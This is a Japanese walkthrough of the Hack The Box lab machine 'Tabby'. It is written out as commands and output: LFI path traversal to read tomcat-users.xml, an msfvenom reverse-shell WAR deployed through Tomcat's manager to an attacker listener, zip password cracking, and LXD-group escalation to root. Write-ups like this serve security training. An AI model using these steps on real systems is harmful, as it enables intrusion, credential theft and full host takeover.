【HackTheBox】Tabby - Walkthrough -

本稿では、[Hack The Box](https://www.hackthebox.eu/)にて提供されている Retired Machines の「Tabby」に関する攻略方法（Walkthrough）について検証します。

Hack The Boxに関する詳細は、「[Hack The Boxを楽しむためのKali Linuxチューニング](https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84)」を併せてご確認ください。

# マシンの詳細
![Tabby.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/6a0ccf23-252f-7337-0d6a-0f685d13f735.jpeg)

# エグゼクティブサマリー
## ツール
- nmap
- tomcat-users.xml
- msfvenom
- NetCat
- fcrackzip
- lxd-alpine-builder

# 詳細手順
# ネットワークサービススキャン
## nmap
IPアドレス `10.10.10.194` を `tabby.htb` として、 `/etc/hosts` に追加します。その上で、nmapを使用し、ポートスキャンを実行します。

```
kali@kali:~$ nmap -Pn -T4 -A -v tabby.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-07 00:34 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating Connect Scan at 00:34
Scanning tabby.htb (10.10.10.194) [1000 ports]
Discovered open port 80/tcp on 10.10.10.194
Discovered open port 8080/tcp on 10.10.10.194
Discovered open port 22/tcp on 10.10.10.194
Completed Connect Scan at 00:34, 1.12s elapsed (1000 total ports)
Initiating Service scan at 00:34
Scanning 3 services on tabby.htb (10.10.10.194)
Completed Service scan at 00:34, 6.18s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.10.194.
Initiating NSE at 00:34
Completed NSE at 00:34, 2.71s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.33s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.080s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Initiating NSE at 00:34
Completed NSE at 00:34, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.18 seconds
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|22/tcp|ssh|OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)|
|80/tcp|http|Apache httpd 2.4.41 ((Ubuntu))|
|8080/tcp|http|Apache Tomcat|

# HTTPサービスのスキャン
`Firefox`ブラウザを使って`80/tcp`にアクセスしてみます。
![Firefox.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/034e6560-88ed-c539-5883-6a3c63764f63.png)

トップページにおける以下の記載が気になります。
>We have recently upgraded several services. Our servers are now more secure than ever. Read our statement on recovering from the data breach

リンク先を確認します。
![statement.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/001bf74b-5586-b296-0134-86f450786135.png)

## Local File Inclusion

**Local File Inclusion (LFI)** の脆弱性を抱えている可能性があります。次のURLにアクセスし、確認してみます。
>view-source:http://10.10.10.194/news.php?file=../../../../../etc/passwd

![passwd.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b4b65184-d230-be27-a5b0-c069f867c5a6.png)

## Tomcat
`Apache Tomcat`が稼働していることはすでに把握しています。そこで、LFIの脆弱性を突いて、Tomcatの資格情報（`tomcat-users.xml`）の取得を試みます。

>view-source:http://10.10.10.194/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml

![tomcat.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/35e8a143-8117-a231-4e96-f2095406ee6e.png)

|ユーザー名|パスワード|権限|
|:---|:---|:---|
|tomcat|$3cureP4s5w0rd123!|admin-gui,manager-script|

# アクセス権の取得
## ペイロードの作成
`msfvenom`コマンドを使い、`java/jsp_shell_reverse_tcp`リバースシェルを起動するペイロードを生成します。

```
kali@kali:~$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=1234 -f war > payload.war
```

##ペイロードのアップロード
`msfvenom`コマンドで生成した`payload.war`を`tabby.htb`へアップロードします。

```
kali@kali:~$ curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file payload.war "http://10.10.10.194:8080/manager/text/deploy?path=/payload.war"
```

`tabby.htb`に`payload.war`がアップロードされていることをリストから確認します。

```
kali@kali:~$ curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/list
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/foo:running:0:foo
/payload.war:running:0:payload.war
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:0:/usr/share/tomcat9-admin/host-manager
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
```

## ユーザーシェルの取得
`ポート 1234`にてリバースシェルを待ち受けます。

```
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
```

`curl`コマンドまたは`Firefox`にて`payload.war`を実行します。

```
kali@kali:~$ curl -u 'tomcat':'$3cureP4s5w0rd123!' http://10.10.10.194:8080/payload.war
```

`payload.war`の実行が成功した場合、`tomcat`権限のシェルを確立させることができます。

```
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.194] 37826

whoami
tomcat
```

## シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。

```
python3 -c 'import pty; pty.spawn("/usr/bin/bash")'
tomcat@tabby:/var/lib/tomcat9$ 
```

<img width="1264" alt="remoteshell.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/4fe1df6e-9b02-0a51-bc5c-6259e01cad70.png">

## システム探索
`/var/www/html/files`ディレクトリの内容を確認します。ここで、`16162020_backup.zip`ファイルに注目します。

```
tomcat@tabby:/var/lib/tomcat9$ cd /var/www/html/files
cd /var/www/html/files
tomcat@tabby:/var/www/html/files$ ls
ls
16162020_backup.zip  archive  revoked_certs  statement
```

### ファイルの転送
`16162020_backup.zip`ファイルを`kali`上に転送します。
ここでは、`tabby.htb`上で`16162020_backup.zip`ファイルをBASE64形式に変換し、テキスト情報として`kali`上に転送しています。

```
tomcat@tabby:/var/www/html/files$ base64 16162020_backup.zip 
base64 16162020_backup.zip 
UEsDBAoAAAAAAIUDf0gAAAAAAAAAAAAAAAAUABwAdmFyL3d3dy9odG1sL2Fzc2V0cy9VVAkAAxpv
/FYkaMZedXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIALV9LUjibSsoUgEAAP4CAAAYABwAdmFyL3d3
.
省略
.
FAAJAAgAi2pqSOOc2zIlAwAAJgYAABcAGAAAAAAAAQAAAKSB8BsAAHZhci93d3cvaHRtbC9SZWFk
bWUudHh0VVQFAAOWdOFWdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAAHAAcAgAIAAHYfAAAAAA==
tomcat@tabby:/var/www/html/files$ 
```

`kali`端末上でテキスト情報からバイナリ情報に変換します。

```
kali@kali:~$ echo "<BASE64コードをペースト>"|base64 -d >16162020_backup.zip
```

### パスワード保護されたファイルの解析
`16162020_backup.zip`ファイルはパスワード保護されています。
パスワードをクラックするために`fcrackzip`をインストールします。

```
kali@kali:~$ sudo apt-get install fcrackzip
```

```
kali@kali:~$ fcrackzip -v -D -u -p ./rockyou.txt backup.zip
'var/www/html/assets/' is not encrypted, skipping
found file 'var/www/html/favicon.ico', (size cp/uc    338/   766, flags 9, chk 7db5)
'var/www/html/files/' is not encrypted, skipping
found file 'var/www/html/index.php', (size cp/uc   3255/ 14793, flags 9, chk 5935)
found file 'var/www/html/logo.png', (size cp/uc   2906/  2894, flags 9, chk 5d46)
found file 'var/www/html/news.php', (size cp/uc    114/   123, flags 9, chk 5a7a)
found file 'var/www/html/Readme.txt', (size cp/uc    805/  1574, flags 9, chk 6a8b)
checking pw arizon1                                 

PASSWORD FOUND!!!!: pw == admin@it
```

|ユーザー名|パスワード|
|:---|:---|
|ash|admin@it|

### userフラグの取得

```
tomcat@tabby:/var/www/html/files$ su ash
su ash
Password: admin@it

ash@tabby:/var/www/html/files$ cd ~
cd ~
ash@tabby:~$ ls
ls
user.txt
ash@tabby:~$ cat user.txt
cat user.txt
```

# 特権エスカレーション
ユーザー `ash`が`lxd`グループのメンバーであることが確認できます。

```
ash@tabby:~$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
```

```
kali@kali:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
kali@kali:~$ cd lxd-alpine-builder
kali@kali:~/lxd-alpine-builder$ sudo ./build-alpine 
Determining the latest release... v3.12
.
省略
.
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
kali@kali:~/lxd-alpine-builder$ ls
alpine-v3.12-x86_64-20200807_0342.tar.gz  build-alpine  LICENSE  README.md
```

```
kali@kali:~/lxd-alpine-builder$ python -m SimpleHTTPServer 1234
Serving HTTP on 0.0.0.0 port 1234 ...
10.10.10.194 - - [07/Aug/2020 03:51:39] "GET /alpine-v3.12-x86_64-20200807_0342.tar.gz HTTP/1.1" 200 -
```

```
ash@tabby:~/temp$ wget http://10.10.14.5:1234/alpine-v3.12-x86_64-20200807_0342.tar.gz
<.14.5:1234/alpine-v3.12-x86_64-20200807_0342.tar.gz
--2020-08-07 08:05:07--  http://10.10.14.5:1234/alpine-v3.12-x86_64-20200807_0342.tar.gz
Connecting to 10.10.14.5:1234... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3201487 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200807_0342.tar.gz’

alpine-v3.12-x86_64 100%[===================>]   3.05M  3.35MB/s    in 0.9s    

2020-08-07 08:05:08 (3.35 MB/s) - ‘alpine-v3.12-x86_64-20200807_0342.tar.gz’ saved [3201487/3201487]
```

```
ash@tabby:~/temp$ lxc image import ./alpine-v3.12-x86_64-20200807_0342.tar.gz --alias myimage
<e-v3.12-x86_64-20200807_0342.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

ash@tabby:~/temp$ lxc image list
lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE         |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
| myimage | d881b5219ab4 | no     | alpine v3.12 (20200807_03:42) | x86_64       | CONTAINER | 3.05MB | Aug 7, 2020 at 8:08am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-----------------------------+
ash@tabby:~/temp$
```

エラー`Error: No storage pool found. Please create a new storage pool`が発生しています。

```
ash@tabby:~/temp$ lxc init myimage privesc -c security.privileged=true
lxc init myimage privesc -c security.privileged=true
Creating privesc
Error: No storage pool found. Please create a new storage pool
```

エラーを回避するために、`lxd init`コマンドを実行します。

```
ash@tabby:~/temp$ lxd init
lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: 

Do you want to configure a new storage pool? (yes/no) [default=yes]: 

Name of the new storage pool [default=default]: 

Name of the storage backend to use (btrfs, dir, lvm, ceph) [default=btrfs]: 

Create a new BTRFS pool? (yes/no) [default=yes]: 

Would you like to use an existing block device? (yes/no) [default=no]: 

Size in GB of the new loop device (1GB minimum) [default=15GB]: 

Would you like to connect to a MAAS server? (yes/no) [default=no]: 

Would you like to create a new local network bridge? (yes/no) [default=yes]: 

What should the new bridge be called? [default=lxdbr0]: 

What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 

What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 

Would you like LXD to be available over the network? (yes/no) [default=no]: 

Would you like stale cached images to be updated automatically? (yes/no) [default=yes] 

Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: 

ash@tabby:~/temp$
```

```
ash@tabby:~/temp$ lxc init myimage privesc -c security.privileged=true
lxc init myimage privesc -c security.privileged=true
Creating privesc
ash@tabby:~/temp$
```

```
ash@tabby:~/temp$ lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:~/temp$ 
```

```
ash@tabby:/var/lib/tomcat9$ lxc start privesc
lxc start privesc
ash@tabby:/var/lib/tomcat9$ lxc exec privesc /bin/sh
lxc exec privesc /bin/sh
~ # ^[[8;5Rwhoami
whoami
root
~ # ^[[31;5Rcd /mnt/root/root
cd /mnt/root/root
/mnt/root/root # ^[[33;18Rls
ls
root.txt  snap
/mnt/root/root # ^[[36;18Rcat root.txt
```

# 参考情報
- Raj Chandel's Blog, Lxd Privilege Escalation, https://www.hackingarticles.in/lxd-privilege-escalation/